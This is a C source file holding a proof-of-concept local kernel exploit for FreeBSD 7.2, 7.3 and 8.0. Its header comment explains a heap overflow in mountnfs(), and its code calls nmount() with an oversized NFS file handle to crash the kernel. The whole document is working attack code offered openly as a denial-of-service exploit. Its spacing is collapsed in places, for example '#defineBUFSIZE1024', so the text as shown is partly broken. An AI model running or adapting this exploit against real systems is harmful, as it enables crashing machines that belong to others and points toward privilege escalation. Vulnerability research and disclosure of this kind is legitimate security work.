/*
* mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
*
* Discovered and exploited by Patroklos (argp) Argyroudis.
*
* The vulnerability is in mountnfs() which is reachable by the mount(2)
* and nmount(2) system calls.In order for them to be enabled for
* unprivileged users the sysctl(8) variable vfs.usermount must be set to
* a non-zero value.
*
* mountnfs() employs an insufficient input validation method for copying
* data passed in the struct nfs_args from userspace to kernel.
* Specifically, the file handle to be mounted (nfs_args.fh) and its size
* (nfs_args.fhsize) are completely user-controllable.In file
* sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
*
* 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize);
*
* The above can cause a kernel heap overflow when argp->fh is bigger than
* 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on
* the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c):
*
* 1164 struct nfsmount *nmp;
*...
* 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK);
*
* The result is a kernel crash/denial-of-service.I have developed a code
* execution/privilege escalation exploit, but I will not release it at this
* point.7.1-RELEASE and earlier do not seem to be vulnerable since the
* bug was introduced in 7.2-RELEASE.
*
* $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $
*/#include<sys/param.h>#include<sys/mount.h>#include<sys/uio.h>#include<err.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sysexits.h>#include<unistd.h>#include<sys/types.h>#include<sys/stat.h>#include<errno.h>#defineBUFSIZE1024#defineFSNAME"nfs"#defineDIRPATH"/tmp/nfs"intmain(){structiovec iov[8];mkdir(DIRPATH,0700);
iov[0].iov_base ="fstype";
iov[0].iov_len =strlen(iov[0].iov_base)+1;
iov[1].iov_base = FSNAME;
iov[1].iov_len =strlen(iov[1].iov_base)+1;
iov[2].iov_base ="fspath";
iov[2].iov_len =strlen(iov[2].iov_base)+1;
iov[3].iov_base = DIRPATH;
iov[3].iov_len =strlen(iov[3].iov_base)+1;
iov[4].iov_base ="fh";
iov[4].iov_len =strlen(iov[4].iov_base)+1;
iov[5].iov_base =calloc(BUFSIZE,sizeof(char));if(iov[5].iov_base ==NULL){perror("calloc");rmdir(DIRPATH);exit(EXIT_FAILURE);}memset(iov[5].iov_base,0x41,(BUFSIZE -1));
iov[5].iov_len = BUFSIZE;
iov[6].iov_base ="hostname";
iov[6].iov_len =strlen(iov[6].iov_base)+1;
iov[7].iov_base ="census-labs.com";
iov[7].iov_len =strlen(iov[7].iov_base)+1;printf("[*] calling nmount()\n");if(nmount(iov,8,0)<0){fprintf(stderr,"[!] nmount error: %d\n", errno);perror("nmount");rmdir(DIRPATH);free(iov[5].iov_base);exit(1);}printf("[*] unmounting and deleting %s\n", DIRPATH);unmount(DIRPATH,0);rmdir(DIRPATH);free(iov[5].iov_base);return0;}/* EOF */